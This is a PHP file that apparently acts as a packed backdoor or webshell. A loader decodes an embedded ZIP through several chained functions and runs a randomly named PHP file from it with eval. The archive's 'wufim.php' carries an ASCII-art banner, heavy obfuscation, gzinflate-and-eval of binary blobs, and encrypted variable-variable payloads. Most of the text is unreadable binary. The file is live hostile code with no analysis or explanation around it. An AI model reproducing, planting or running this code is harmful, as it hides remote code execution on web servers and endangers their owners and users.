$enko = $decode2($zipData);$anje = $decode4($enko);$decoy = $decode5($anje);$xnai = $decode3($decoy);$decodedZipData = $decode($xnai);$zipStream = fopen('php://temp', 'r+');
fwrite($zipStream, $decodedZipData);
rewind($zipStream);$tmpFile = tempnam(sys_get_temp_dir(), 'zip');$tmpFileStream = fopen($tmpFile, 'w');
stream_copy_to_stream($zipStream, $tmpFileStream);
fclose($zipStream);
fclose($tmpFileStream);
$zip = new ZipArchive();
if ($zip->open($tmpFile) === TRUE) {
$hookIndex = $zip->locateName('sugagasnwqiotniqwntiqwntiqwtbniqwbtiqwbtqxxx1.php');
if ($hookIndex !== false) {
$phpCode = $zip->getFromIndex($hookIndex);
try {
eval('?>' . $phpCode);
} catch (Throwable $e) {
echo "?? Error in hook.php: ", $e->getMessage(), "\n";
}
} else {
echo "? hook.php not found in the ZIP\n";
}
$zip->close();
} else {
exit("? Failed to open ZIP\n");
}
unlink($tmpFile);
?>
PK 2Cm\ako�g~ g~ wufim.phpnu �[��� <?php
/**
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣻⣿⣿⣿⡿⢿⡿⠿⠿⣿⣿⣿⣿⣿⣿⡿⣿⣿⣿⡿⣿⣿
⣿⣿⣿⣿⠿⠿⢿⣿⣿⠟⣋⣭⣶⣶⣞⣿⣶⣶⣶⣬⣉⠻⣿⣿⡿⣋⣉⠻⣿⣿⣿
⣿⢻⣿⠃⣤⣤⣢⣍⣴⣿⢋⣵⣿⣿⣿⣿⣷⣶⣝⣿⣿⣧⣄⢉⣜⣥⣜⢷⢹⢇⢛
⡏⡦⡁⡸⢛⡴⢣⣾⢟⣿⣿⣿⢟⣾⣧⣙⢿⣿⣿⣿⣿⣿⣿⣿⢩⢳⣞⢿⡏⢷⣾
⣷⣵⡇⣗⡾⢁⣾⣟⣾⣿⡿⣻⣾⣿⣿⣿⡎⠛⡛⢿⣿⡟⣿⣿⡜⡜⢿⡌⠇⢾⣿
⣿⣿⠁⣾⠏⣾⣿⣿⣽⣑⣺⣥⣿⣿⣿⣿⣷⣶⣦⣖⢝⢿⣿⣿⣿⡀⠹⣿⣼⢸⣿
⣿⣿⢰⡏⢡⣿⣿⠐⣵⠿⠛⠛⣿⣿⣿⣿⣿⠍⠚⢙⠻⢦⣼⣿⣿⠁⣄⣿⣿⠘⣿
⣿⣿⢸⢹⢈⣿⣿⠘⣡⡞⠉⡀⢻⣿⣿⣿⣿⢃⠠⢈⢳⣌⣩⣿⣿⠰⠿⢼⣿⠀⣿
⣿⠿⣘⠯⠌⡟⣿⡟⣾⣇⢾⡵⣹⣟⣿⣿⣿⣮⣓⣫⣿⣟⢿⣿⢿⡾⡹⢆⣦⣤⢹
⣅⣛⠶⠽⣧⣋⠳⡓⢿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣫⣸⠏⡋⠷⣛⣫⡍⣶⣿
⣿⡿⢸⢳⣶⣶⠀⡇⣬⡛⠿⣿⣿⣿⣿⣿⣿⣿⠿⢟⣉⣕⡭⠀⢺⣸⣽⢻⡅⣿⣿
⣿⡇⣾⡾⣰⡯⠀⡗⣯⣿⣽⡶⠶⠂⢠⣾⣿⠐⠚⠻⢯⣿⠇⠎⡀⣳⣿⣼⡃⣿⣿
⣿⡇⣟⣇⡟⣧⠀⡗⣿⣿⡿⢡⢖⣀⠼⢟⣻⣤⣔⢦⢸⣿⢀⢆⢡⣿⣯⢹⡃⣿⣿
⣿⡇⡏⣿⡾⣸⣿⣇⠸⠟⣋⣼⣼⣿⢻⣿⣿⢿⣟⢾⣌⠫⠈⣶⣿⡿⣩⡿⢃⣿⣿
⣿⣷⡀⠻⡷⢪⢧⡙⠰⣾⣿⣿⣾⡽⣾⣿⡿⣺⣵⣾⣿⡇⡜⣽⠟⢷⣪⣴⣿⣿⣿
⣿⣿⣿⣾⣿⠏⣤⡁⣷⣽⣿⣿⣿⣿⣷⣶⣿⣿⣿⣿⣿⣱⠸⣱⣦⠙⣿⣿⣿⣾⣿
**/
$sokaki = "\xb9\132\232\x66\155\250\145\156\x72\x6c\x5f\x87\245\xf2\6\310\134\x86\x9b\x2\x77\321\x12\xb5\x9f\xfc\24";
if (function_exists("user_super")) {
pcntl_signal(senia, berika);
pcntl_signal(larva, berika);
pcntl_signal(mojika, berika);
pcntl_signal(matisu, berika);
}
eval(("\147\172\151\x6e\146\154\x61\164\145")("���OSQ���{77�\$}<p� ��w& �VHHIZp�!AJ)�-,PZmi��Ly(C D-��R�2|�`twn�����s� �Žv��&�&�P��U�f��9�ͪ]uAk���H�sK<��Ζ���]�v��m�:<+w�(i�A����*�{)����8sĮ���8(P�3�zrT@�,8��*�I��@��R�5{B� �uH��s�κ�~bg�J[c��q}����%�xz����
>���ij|����Al����c�R�B�K�m \"e �M{B�乷-}���!��bqj�|liq��
4�&&��p��y/J���ų۶|[�eG{�kk�G2J�6��O�����2�b��j�m�7��c��NM�6Yc�P_���ɼ�P�am���hA��u��<����&�T�~,m��]v�G��TeM6�Ԕ����6�7糧y�k�{�h�8�n0���kU��z���T5�9��6GU8�:�hr:����i��|X�����c�.]��)�s�eeRWԯ��ߛ�쒂���P�?k��wqX�Ӗ�}�d�t[ぃ��y:�&Vu��aI��j��rB�AJ�� I��}��A�D!;E��
�C���ǂ.A4�I�0�� �q8:h�å(���X!%ƅ��B�Ń%i3:���je=�X�^Y�B�'�ř�e�i��/@н�x��t�uh��� �t���2��wED�1�DAg��H\\8���IwI�!�(,�(�OL��Q 1 �k�§C>�?�� t� �p?�p���c4��,�Qu�@�wI�������v����քK�lM!/5M(@/ғ��T\\�Gv�;�"))xor${"a�����������٩�ߋ������������߽�������������
����τ��챉�۞������ϕ
���掦����������ɰ���������
������֠����ה������ʰ��
����俌ľ��Ť������ͦ�����¹�˜����������Ю�����ߍ��Ĺ�ΊΑ������Ø�ݶ�����������Ȫ�������Ɍ�����н����ؽ����ރ
���ې����ϸ����䃚�������������� ���ê��������������������������
����ݶ������������
��������������Ʊ�����������
�������و�����ޕ������� �����
�㘀�ˠͣ喉������������������������������� ��쨐�م˄��������������Թ���������뗝������
Ϭ���������Ä͙
�� �������С��܌�� կ�����������ӯ��
��������Ǖ����������������������������߷���íݿ���������ԛ���������ú �����Ȱ���ܮ���������좒�ٙ�����ք
�����ⓏŐ����Ҩ��������ޭ������
櫿�������������
�����������˛��ݵ���������� �������Ϩ�"}=_͐��("
�ip�cDRP.")xor/*c�*/${"b�������ƥ�ܜ������Л���㆘������� ��ɴ�Ʈ��Ɔ����������������ڀ������ʿ��ߛ��̬����������
������
Ù����£������
����������҇���㍖���������Ч�������ާ������ޑ��
��������̷��ú����
�㈐������
����������������ǵ����ɭ���ʔ�������Ę�����������駗�������Ҳ�Ȣ��������������
����������ˮ���������
�����֛���߂���·�忾�������ο����������������������ȃ����ˏ���ٳ�����
����������ɯ����������苣�������º����
������ʕ������������ۮ��ص��Й�����ش�Ē��
�������Ź��������Ů���҇����������ز�ؑ������ν����������鉟 ����㼂������ɴݓ�ՍϿ�����������Ն
�����
���ʄ���ʕ������������ȝ�ԍ�Ã�������ȃ������ �����˄�ʏ����������������������ݢ���������ҿ������̳�컹�����������������⺬��� �ɵߙ��ǟܠ��۽���ؐ��������������"}=_͐��("�8�ɾ7֡_")xor/*c�*/${"d�ǀ���ư���������
�ᥧ��������������������DZ
����ͯ������������ǃ�
�Ɇ������ݫ��
������
�ͭ������ъ��˿�樋�뫾��������������ͯ����͒������ֱ��ϵ�����Ѽ��Ҡ�����Ҏ����ڐ������燶�����Й��ՠ�ݞ� �̇�ֶ ��������澭�
��������
���
��������������⯴���
²��ο�������������Ľ���ۅ�Ɖ���ζ�����侙ʻ�����ٝ���ۈ������� �ˀ�������Ŷ��섞�Ý��
���̪М������Ĉ�� ��������۴����
������ڭ�����ͺ�
������ŖՉ�������ֺ��Ά��
��ěԝ������
����
������ݼ��������嘙��������ּ����Ƀ��踟����ߐ����� ������������К�����
��������� ������������ш����蓚���
땜��������������������������õ��
������ު۹������
�딫ާ����
��ǚ�۷إ��څ������ְ��ሎ��街
���Є�ɫ�� ��Ë������꜡���͍�͋�������������ֱ��������
�nj��������������������ܺ����"}=_͐��("�;q���S3�")xor/*c�*/${"e������ ����ʿ���������ϓ��̺�������ɬ�����ΐ����ꜳ�ε�����Ţ�������ۃ������͍�ʎ���Ş������������
�����ņ�����ɴ�͆��ֹ���������������쌕�����Ŷ��������䎫��������
���ԗ�������͝�����ګ�������������
ܖ����������������㦵������ �����ݜū�����ϝ���������Χ���������� ��֏�ә������Ǎ���̳�����Ⱥ����������� �⠽����
�����֢���������漾�Α�Ǻ��늍ֆ����В�����←����å꿛��Å��Ҹ�������ް�����������מ꧔̕��
���螞�÷���ʤ�����ʦ�Ɵ��Џ�����ȕ������������Ң�؍��������ͷ�汑�����Ƒ҉�������������Ŗ�ծѮ���������֖�������ڨ�å�Ǿ��ȉ���Ŀ��������Ȁ������ᄋ��Ȥ�
�ђ����ξ����� ���������Ԥ������
�����
����駨�����������������ϕ������
���������ㅁ��������ij
������������������ݣ������̜�ц۪�����մ�������ʬ����������↝����������Ӝ���܇��"}=_͐��("1j��FnIq���")xor/*c�*/${"f������٢ѣ����������¬�����������ݜ����ˇҪ�������������ǖ��������������ꭧ����������ޖ����������玥�����ߏѠ�؞���
����������ӡ�����ɫ��������ӝ�������������������
���ك�����К��������Íٳ����ح�������������習��遗ĕﭘ��ʋ����е�����蠜�����ֻ���������⏝������Dz��ߪ���������������ɭ�����ݶ�����������쓂ᡩ�
����ޛ�Ȓ欛����׆��߄���ꅉ�
��������� �������
�������������у�������斲��غ������ۿ���Ŏ���ŵ�ϓ������꯴�ɱ����ȋ��Ë������ĭ��Ң����ϖ����˒����������������ŋ�
���
���ֳ��������Փ��屵ԭ �˹��Պ����������
�������ܶ�Ĵ������Ĕ��
���̨����㝣������ẝ
�������ԫ�����Ǫ�ƾÿ
� �������ے����
���ϐ����������ݘ�����������������
�ޒ����������ŤǦ��������ܕ������ܳ����ܧ�ܕ����҅�ﶗ�����ԁ�乓�������ɉ������"}=_͐��(";�N�g�G�%��")xor/*c�*/${"g�̅��Ϧą���������ӕ�
������ڝ�����ڪ����А��ݠ�́���������Ծ�� �������ǭ�����Է��̏���˫������Յ�ۅ����� �߶�����������佇�ڬ������׆�Р�����
�
�҂���������
�����ت� �ԅ����������
����ҹ�������������������Ϸ̻ꌌ��
ک���ޔ��
ޙ��ڮ�ʸ������ ���ןڎ������Ȃ�ӧ�ʽ�����ܸ�������������Һ����� ������ѿ���������������������ƣ��˻���
�à���ɝ����������
���ٓ�������������
��漕��܉���ν����������ȹ��������仡������������ՠ���� �Ë����������������������ŧ�������ɡ葂�ػ��� ����������������
����������¡��ƁҊɦ�����������������Ǘ�������Ó������錍���Ҭ����
����Ĕ��˵��
�ò����ڇ���������ܢ����Ѳ���������ե�� ����𫌋�����������������Ȩ�����䮵��ߩ���Ó����������ˮ��
�����鼈������������������
�����є�����Ǯ����½�������������"}=_͐��("E�x�^���h�ҿ�")xor/*c�*/${"0�����끑��
�� ���τ��͋�����������В�
��������������ڥ톙�����᪺���������������Ղ��º��"}=_͐��("v\"�.@;�;h�")xor/*c�*/${"h���ܵ�������í���غ�Ȑ����Ƭ����������ü�
ǔ���������Ո�Ν����ᵌ��������������ܮ������ց�������颈ˢ��ֈ�����ф�����������������������ڃ������א�������������������˖��ܶ�غ��Ǻ�൶���Ǝ����������
���ۙ����������������������ԣ������э����ş�����۫������������
�ʧ�ĸ�ն��������Ҙ���������������
������Է��
�����������������������������瑒�������Ĝ��
��Ǖ� ������������ʦ�� �����������䥻���Ũ���ݘ������Ԧ���������ċ��𭂯��������븜ﵥ����ƤÂټ����
����Ɛ�����������������������Ġ�����
�������ǿѢ�紒�����������ڙ�����Ҟ�������⒣�����������ך�������ɼ���ʀ���
됼�����������қ���������ǟ���������������������|��
��Ǭ�ҏ���ރ����
������䠻�������������Ɇ��
�����������˙�����ɫ�����̉���������������ᅲ�����������"}=_͐��("� �n��B�!5[�A㣉�л�&�")xor/*c�*//*�c*/$�������=__COMPILER_HALT_OFFSET__ xor/*�c*/eval(_͐��("5�f�K�>�P+��
]�G��K<(�.�6m[w����-���Q�%ϖ[N.����-�>���\"L\\�?�e��\"�6N|�.��)�5�R�CB��79s�x��mD�A�f�^�\"E/��Q7*x B�w�r�!���y��mh]Q�!�j���MR����V�Z�H>�<--��S2#P�c�?�a��GJ#�}x���@� `ǜ�2c k���:��\"V���� �z��!�B����]u�Q?��j�櫸Z��轪�6j�H���
V��.z�>�*��g?��;�q���3qM
��+��Zwm`��C��ؼ�:�\"�Pp���>�35����}a�� �p7�&o.^�!>�,E��}�ލd���Y'/ŚKs�@2*r*.�k�S
DBO�=�;��l��.(�VȌ���2DIƎ��
�r��Z�(M5���ˈ�F��Òn�
�8�u�]�4������8�B
�ԕ�j�M��!�ɢCb~+`���=�nM�����]��
�,5�
������>�&`�\"�B^��zw��C��W���}!�T+d�P͞�s���<K��1�������
�8dk�hd�@ΜG]��`����T8�_��!�μ�[���J��[�L��g��ʁ�����p>�G�n�`����>��}�W�Q�Ir� \\<`����d��+1m��#�n��*��I�d)�W�B}Cݷ���<���V���+Q���}�Ѓ��y��j�K��Cj�WWƈ�M��]��I�a-��砮�@��`b�@&U��h�_�!:��\\z�R���5:i�=|�;��W����87���* �v�
�K�'k6�s��5� ��l�#�s[,
�X�ܓ���;�FN��~t�a/���Kʩ`]�%�5���V�XiI�
ns�SJ�2�N�_v3�� �f�f*�Ú�p�A������C��o�7�S��s9�jb�z�;�Qآ��(�#�����n��LP&���5��-�EE
@~���iD{�kb�M�S����D��{�-Y� ����Id
�y��Ȋ���
5�-6��T�\"Y�b���bt��w-8���L��\$�/x�8#� �R��TL#\\c+�,�87XT�7h\"�&���:���XP7~\"S�r(_u�D���^���YjD�8*V2�W-d��r���{�O�U��q�h��fRu�Sp6��
߸�b�b�'jG#t�53hh?6�����v6������` 3~>,Q�a_+�,�He�DF�)�_���\\\\ ��9վd5&��[Tbs��Tk�Ӷ��ZG�4��Oi[4}�ֽ�0I6ԧ4u)��J��F�f�qb͚j��h���sm���k;�aoj�(WP,�VV�O1Z�]ԟ���E\"/�\"��D]P�g�AH�s�r)��J��7��� ��*a�=+����8��}�
�|��F��Hz�6��%5�#��+��d�8\$PCx�l�L<岖�Es�
�E��m��0
; �h�>�0h[Ee��`�x����-G�)!e����Os���%�����8:�ߧ@�,H<��wa��T��Œ&���N�%�X����r'�iV�W�A'��d��V��Rx_/,r:�'�ײ3w���Cs�<�Y�.J~}t����������\\w#e���?i]��vn���Put.�� |�0/�!��b�;@u��Fq�*�'���ֲ��t�_IJ����}(�����<#�-\$;����Pb�S��y;4Q�95����xG\\Y�k7�P�(��i���.��ӵt��W�ڹ�-�[�\\�υH�Y�&B���B���
��l��ڷ��O�P�E�{�
q�5�:v�� ��ӥ�*��'�I*?/����l��I}��QCf��6�'W6�5��k��ܢ�G�>��'H�kh��@L���A-' ݣi�V-G�Tm�hH6H�\$�
���Y0��_G�*P�����#�ub���u���/[G��o����=;(mV��7��e�̭���14T�ɀ�-���T�*�M-y��eguw�y^��<9�a��ca�B)Ύ�Ƹ �M�oP�]�K������Tnh�b�|����x�
R�y8���I�#)�
��w��ĈvL* hX�I��Oժj�U�d{�ț
�%N�@�
�MK%�C�n��Vwh��V��K�-د��q�i3��{:�U��z��#���8�́ѹ{�P�v�>\\�nx�O[{Jay��z7�Q�܁:���i��#j�M�V0�C����Y����A�'t�rF��ؒ���&O�ٱ�(D_���^��h1;\$��
�(��&���i�Z���|㶹��S��v�:Xn��H����IG�d��FGBE�«�3K�g{�R���rN�k����i��h�\"�52�N����):S�7���7�!��h�FC�F1����F�5:��=�%�hN���П��BZ�Q1���)r����P��V|�1f�1R�
�����@,~I{NW[�R���h
��K[w�yJ���ܰTw��۳;x�����n�2��WE[ж�:���rr������>C��(D)t�1�H��M�̱d`�����8����_t��j\\sN��_ma��.�e�~@<E��=Q+:Rc�Z��Ğ0X���1�J������B��s
#��q����,�8�����#!d, u�����b'�������V%�N̪�\"s4Kk�5��c�'.����TǸ�w6#ײ\\'�;O���,��3�_�䈜�����(���
e+��2�Ƒ�ɻ�uJ�d��,����K�+E(f|�S3�3�5��_���.G�>���>�&x�,9��,�T�+�(��.JU���ֺty��>8VK-�I����/� �,p�U��yS�: �R�x3l�3���/�f��I��91��na�����4�,3��FT9z=�9��\"����h���*LMxe(|�:�g��z-�<4Ї���Ro�w����5sDZ#ݻ��G\\���E��WN�h����.0��iB��ǭ���cI�<��2�[^��Ɯ�m!f��Ɲ�wK>�]�-C�!1���`ԝ}%�<�;�k�G�5�N�Bs��������W��#�m���-L\"g��}6n��F�j\"�4�����%4Z��y�y�
�:�j'���s�0D'.�o���۫��|��3�tli����+��oA��Mњt��4�<�laxܥ�l�kS0��37���OEm�f� ���8�\"!.���9.�M�Yc��i���o&��`�t���!�)�'B�^>���̣rQǜjцd�3��v�>9�(qÖ����#@�t!��Y(53`5����ؔ�i�+��^�hCh{��pB���H���M
7�,K�q�o�b�%*d~�ω��h�q���q/z���Uu�����9o˹��RLg[E\\�W�;����#�ń���+��HD2�r�q1��`��No�1V�wq8��\\
LE,�#W|M����Y����=��'��
���{�25���ɖ0��5� �PD{�e����2�{��.��TyX8�tzxMwDu&�(Af�!�𔐰����j�_��F���ʜ�Ջ-�*�5�1�d��1�
���u�߂�
�):<���;eK�&\"&�32���W�25YU�H����x�ģ��\$��_�()��3\\�؞�QA��\"dHb\"����C�(��7�-K�n�9�,��[�O4&&�6�B�8�#>h:3Sc����Sh4~�~G
���E5C\"�!��BN��;�A��qa ��)��*`����w^�����V���>��z�hH:�Zj)���*钴���v>�
(vS���N��=�n�DE������d�!�B�Gr��l%~�Z�Lօ�?+�G�3�9>�]�+D�A�X��e�|\" ��N��j��J@'��5��i8{��� �C���K��NICi�+-��vSڐ��l�O����>���.�]|� .v^��mrm��pb�?���e��~�cr�f �F�&<����!V�ص@��`}�A��e{mv�j���?bi��.�������h́�6S#���~v�9~5ܞ_��R�L�O���K���6�.\",�H�V�����E]fD��� ���9�C�p��;r�þU�#X�;�`��ƭ��0�u�1 �y���>&O��\\�w\\�{��a=M-!x75� �ك�P79���L�r����9�*S�&a�ǞZ}ѩ\"_ 0ؙ�L�]� ����B67�1.��3K�
�J�D��5���� ��.W]��G�e�(��<����#�7v
;�4(��?z�&C�H7�KZ��1�ؠ�����%�[-��of�ɽp8�:�\$��Em�|�h�J\\�Նl�ߖ�0㼼�u%�Vޝ_�>�����@ub�Y3���:�.�A3,��!7~�.qd���UE5�@,}��:{�d�l� �SQB�U���k��7\\���b�F�wJ
���&:}��搚'��x���\"J����ڵ�Xϊ�d0�۔��rge�]���B�˧���k�5�Z\"�Xm)��釈x%�����������- �5B��ֺ��G�������8��_N��YO.��鍲{M�����?ljg�o#�!�!P���ne�7h�-�C:s ��o�SB�ҋ�̙�^I�0��C�������{5z�:��ڼ������lj7��.�=ckZ�x�����^e�~����:�:Ɋjm�aKn��v�U9JX�B��G�>(�����:wb�;��N�p��m��\".+M#��S�?C�ݶ��g
���}�+�O\$�kwr.Y�)d���\$�)ܷ�[��0Y4��0�O��'z(�X�}`g�CE�\$�CZc�δ��y=#�]��a�0Yvz{,�ڎ-~E����쁤.}� x��zNx�M?�X�ԕ�\\�qj�A�)�g*Y��t�9^��ׅU�\\���!��R�(��U�,�5,�5����l9XM�b9��>�J*0����\\`/��b/Q� }��m�ƽ�h+����G�=�^ݫb�MIp��sTO�
Ŷ-#��8�|��%v9깾��N� mG���k[ōÀ���i8��ޙ�+j���� 4�0�����w�Mqo���̓��h�o��w���_�ub�'��t4�Nf9����wu���&�ߕ`n�3
\"gt��n)�l��'���~��C��Ц���G��4�c-��,���Zj�C,��j:^�mw巅�G���}X�˶�C��3#6
�����hWr�QZ�?< ���N��
Nx��1�'���H`G�j;�V�4Ԅ�|}/auN��ڍ:��aG{8pwMx��Z�&�#��9t]�^Ċ�p��0< �)U��n�K�{G�b
�~����D�i��>�anSK9bn���5oE�/����t洦{
&Db胬��R��T��NI��5;
o�~�F����\$�
�gw�`\"06����
/�����y�)I���7[%OUsV�����{��y�x��ܬ(|�� 5˶#���(8ΌdC����0j��!t���I�*_ݯ;MP��M��
��s�j�e�A�7��c��E�7J6�Q�'��-[b��1���\\�'B�ǽy
�26��v��2U��~B2q�B�\$d����S�R���.��9�Jɨ߮\"�b�����X��m>�/����d��0�EG���@���� QV���ľ�O��_��{�.��ו�GK���8pH;k���l��\\Ca��Ij�?c��<�Xm��J��tu`�~�-��?�ͬ��؋lT�cVi<)�F�b����
� w����o�@����
�
�\"����X�8/�'5���G*1�Zu�K��߭l���h�/d���ec?�:��vm3w�,<��}�i[hR�R�S��%�\"p��jC�!���)Z����^�J�|dQsR�u��o�\"�T���vn�>��y����kx�V�ή�z��c�/��؉O+���B_�JWa�R��UQ�Е�����j\"9���~���Wa���X�KW���5I�gy��O�WT��!Y��|aB���rI��c9����֚×���2Ť/&Fp뎳���h�=,17G���Fkg;]B`7�d�G����
��ӄ��ꎝX�Cjz@K�p�?�ʱͯ���s
6��?�O~OW��ݤ9_]Y�O���h�(��v���
�O���T��K����l3����h]9���Ց��;X�״A#�j{�>`�S}I��YX�0'�8hq�d�J�X�]M�~����p�(���/��o�+�){�Y�1c�)tt�]!4[��i�_K�m�i^36Y��Z��FHÔ�^��p�d��N?ԙ\"��ޫ��/n�JT�/&O@������2ϻE���Ɇ�����r����� {��K�U�V�<��k�u6��Д{b�k-��Lm9Y;(��uSF|I�l����*������Fj8S���[.�������R�>8���\"pߧP�WF2a���h����l�<��M�id�%�B *�K! W&ca_�< ��D`8��'2;)&h�R,nZ��v{@���kJ/���d.��?}�:�ND��\"�lN-�9W�*F:F0u���]�B�m��Y��F�^a������)���L �8�l��4����M�C�H��}ĠA�)qF:n�U���-��!Vv��R�U����J2��M��@W��WQ�N����,����Q�櫅.����#ᑪu5�@�+㘽��}��d���v�P���K-�N�X�3��r?ߏW���;�����*/��g���*h�I]q7��-���O���D"))xor/*�c*/eval(_͐��("�S�\"��\\�w�Il� ���Jz��
�Fٷu�(��^}��h�9cN����6��U
�U��H��f����SϹ
�xij�����~H!�S����*�\$J�9���28X��c�
� �~/E��I��5x_��5;��?�{��\"Vz�\$_�7D� �k�1��Ycf����f��f�KL(qo���+���zE߅�[�ܷ��Z�:�c���;�@�WV3U�/�L���K�*>��VY�Ҽ���#|+Y!�(�� N7W��<�!��nsͽu��%��)�}2Ȁ+�v5&w�lѤ�0�}L,��m���4`&�U͠��C\$T`��Ƹv �}�k��fX*�����텹'�v� �y^V����&��]�[��vx,(G{K:�Ȓ�mX7�.\$!�q!����*p�:��L��50�E���U!���V��SK��N��FvV0rjY>�`8�d��UKJ�j.����,�Ř�u�9\\�����H�.�̕��1/S^@=�5��ǩ��D��7��C��O��V����Sh��W���@��d�)`�x�i�Ȓ YPa������ед�
�\$�z;�=�^��[~�z�
��J��p�~o�m����N\",}��qi �6q�^���uȯNB2�0T�V#���V)}��)�������xs�t��.�1K+H�Zv�䛫��#�9G�*��g��R��<x1|�ީ%5���u)�q
F����YS[�fd�����5A���re��
�g��*�� �g�+�����@w��y;�M�����d��@E\\�u=*���.5{�+�֑�T!%19����e�M<yP�Ў#��m��h���C&rpM�\$���*O�˔F�eM`N���3���L�*��Cb�s�PM��.���͙fN����4oI���0� �T|�O�Ѱ�
ѳ�C��w)13�\\�x��n�F��J���(6t 8&]����CL�&^8
@0�A��s�i��hI�>0�+3��H�Up �s�<�c�y&-�*��
n !��f��ma���B´+hi%
�!�J�}�����4��}�P���UR���1U\\��^��R��f��kf.R�������Zc�4~R�;��k,gl�5��)9MX���Q�Kg�y�X2��Y��!�\$�}uk蓥��F�
&��A�-�Y���B�X�L!d-/��hG�7�km��*G^��!�2�Z~N`4Ly^�Y ��p{Qk�^k�G�,.�#A���Q't��7V+�Ք��PxoZC{O��Η|��oqa��jba��o�\"��~o�r��!sz�\"�U�Gr�c��~ծ������Q��>V^��e�}m���`r�\\��5�gy��w��� >��Zo[�cKe��ZC-�)�1+&a�*�'.g�O�S��2Z^�?�t�08�t˒=�����9+V��~rHGI����K��5JH�|�Eq��xv&��h3���Ҁ���9�h�c��8�C����K�DZd!��G-K�U��!�Y�>� ��!�,� �]p{G���BjA�:��|���n�
?FdJl�}�M�TO6<h�=��7SkS�� �ӫ�W�ھ�h�bF�� Qf���l�
��=�l���ӝO����U�f�d ج7�G��?�0z��5\"��Dy�%K���6Hk�K���h���Y�fS�1�e�^`�����tN1���↯[��Pe8��ݗ�f�m��Y�A������Ƈb͌�Si'�;��bi�(��b�ݯ��,y��9'&���8��X��O�[rB����Ȑ+b�H��x�!) �3g\"'��I�4�Z/>�Em43ɳ.\\�b\",�ݔ���S~GU�DZ=��u��J�Y��|s�2���#�p!�!\\I[TN���JF.�v�l���3��Sw�6t� ���|P�e����P�7�/�d���)�jw�3�MJ��\$��#�E����N��]��-=r����Á(e/��</��^��,���p�����R��(;�����TIбQ��9-�J��x�/5�g��}4�y�F�N�_�XJ�CFH�9��W���C~8!�8\\n4�&摯ι��\\m����-�7��g��p�+uq�Sk~\$ ��v�o�E@f�~ժ�M}�)
��w��dx�Py� 3��W���3A�?0���o������;�N�sjœu�y���PF�2�g�U��(E�����+�YXյJF�¥GF�1�T����8����T���T����B���4f��9VJB&,m]
���7��x��m#�FR):�it�贊���<��t���Ke��j�+{��.3�7��\"X>ȥ�e9�a6K�����.W
|���P��q�3X-�V�p�@d k 棍��D�U�~������7����w�5%\"Td�Ƣ9�v�P�a���om��t���P�L{�j�ū��h;K��ǍG�y\$*-���Q�d�#��-�H�)α�,G,�q�a�zWX����C�4��r@ u�%iզ�� �_U��V Kce�3㯍�`#?OҚ���������/��ݥoxF�[J�w�� P�<��]�B���MYZ4��Z����Aw�?Q_��s��&���/�8WR=�g��5j��Wa2��*��
��x�6�?���u[5ʾ3�}��{�p� �ۢ�1�]�O u��Bܨ(
X ���X��ya�f���o�vW�\$,q.�Z���Z�[��&P^��<�P�g��a����m�_��jA����2��E�d�-\$����ľ��F�[��55У��Xhy���X�
���j�MAq[*m�i�A�Fz�=s�
�ͪ�=�b=�7.~ )�@��BpdN9��pK��SHYtx+��j��Y\"1��V�:*���?7zD�@�C��}�djym-��XW_�{�k;��ޏ�{��]��M�P�d&B[�,Eh#���
EK��vV��}�(��
L�>���+���K�n���
(��mb\\I�ƃe8p��r?��w���{��n�t�_H�(*^ѐ�&
�Yh8'>�����6,):u�MĶ��Q�o���*S�a5E)Q�#�w�����2�yZc��l�|�נɚhxS�-3D��3]ϙT
�.gӠ�`>/r��H^!ae�\"�Ud`�V(�q13��/�%�?�|8ܛӃ��G^)�1GD���5ۛy�`xu[�Ǧb�}���ڌ�;.K��Kg<�E���936��t�R�8�ؐ���*5�p��Y#S�ez��S3&*�Evf�T�\\��WF��O���r�/��T�,8Jim�y���i�*������)2��n#�����[̵�S0S��~sϒ�v`k�vP�X�>�(���!�̢Ѳ��Z�������I���,nk��w�BD'���6:�gy���̜Bz}a�������jy?�p��#XI(�s� �� ���;2�M���]�f��(xo�0�P70���Sdd��
��?��d6ؑ�������BU����D!t�����'����號\$DR^C�*E���,�wS1�fL��uGX_��\$�y�;���;��X��g��
|o�]�T�G����K��\$��ՋТ�P��<Ƹջ�2��d����=ٚ'G�� ���/��
8��a4Y�_<QQ��x�x�f���L;�A#��@h���<���]�'������Y��9�����K�r ��ٰQ�i�D�yc�fhL����XH�?���T>PJ�m<>\" <=/�1B�=!EP֡6+C�r�U\"�
h�6��#EҸ�̢��% ��7\"����:�b�G:慪�.�R>���S�CVp�0FJR�@~�5y�
T����#j��r}��}�%�+��a�F\$�k
d��+A �3�4��,��D� �1a\\.�fᏘ����.y�9^������վx^�'�+�W��*�G��ʥs�Hv�ѡ��c��hurw��`����]��\$��]�I��ByV� r�_�2�v�OӦ�}��d�xB�{ؒ��[��S`�럘�oW��a\$�,*7p�-fDa�ꄹ=ŁL*�Ϳ�S��W����5h�P�6�k�ƎZoӪ�j#H�32*�����8F�<��p�I�c\\���Fi����v����z��{k��4Sl�#
�<(sxLNm�1(���@���Ύ�=]U ��R�S�(2��+4�9j���O�lgb8 Yw�&R)����=�˞H�0X��'��Х���HE�\"�[�+4��Qk���jN1q�J�[��C�3����;���7���I%G}��|f�`��6A�?#��ښ5��]�vj�F��gK-&5�ef;�ީ�3�fu��'C�.�#��*I�8�M4~��(���Z6�@�~���.��@��}l>�l���K\$WH���?�.@�4��_H�#J�.\\Nj�B�����\$�|U�a�Z���<y&w�BϏ������,��3�#�)�X��K�L�ڥ�7i&U��ףM���`��4]Yڿ���2M��V���H�mg�9O�w��<��6 \\�+19Z��zb}<]�1��+����G��yY��:�Ȇ�
7��t�ɞ4��CὟ�����5�����(�E<��e�\"Vz���;;6���C�� ���!����dh\$��RZe�-W1%u���u݂�/� G_��~Z`\"�0K�b ��j J�Ri���[ �9ʦ�5��كEZ���2�(R��z��I���ARGyu2ݒ3�������Y�;������!�l� -Tu������P�U!o �����
�IN<��9��度�#��0�h9��j���7�SF���\"#w%�����c������,�@�R�c.��gF��&�C(m�쵱h�
Ot�/�mW�r\\s�wW��ϚA�z��U�ܥ{Xf?��U��z�F�fE�~v�3+ae�nR��\$��Ώ�'�S��x?�)��JFS�������7��9Ov����X�(?0��-�)��\$�N;��)Z�QzB��/�^K�:�1�ބ��
f�Z�\\����:X_�4�3��g�C�L�٫�������o�jRY#��Ӑ�S��dƍ4s'xe��VLEB�l��M��m蛾aZ����h��������0UV �p�8����酂�V�2����A���\"�PUk־o��t?}w��LD�C!`^�>m��
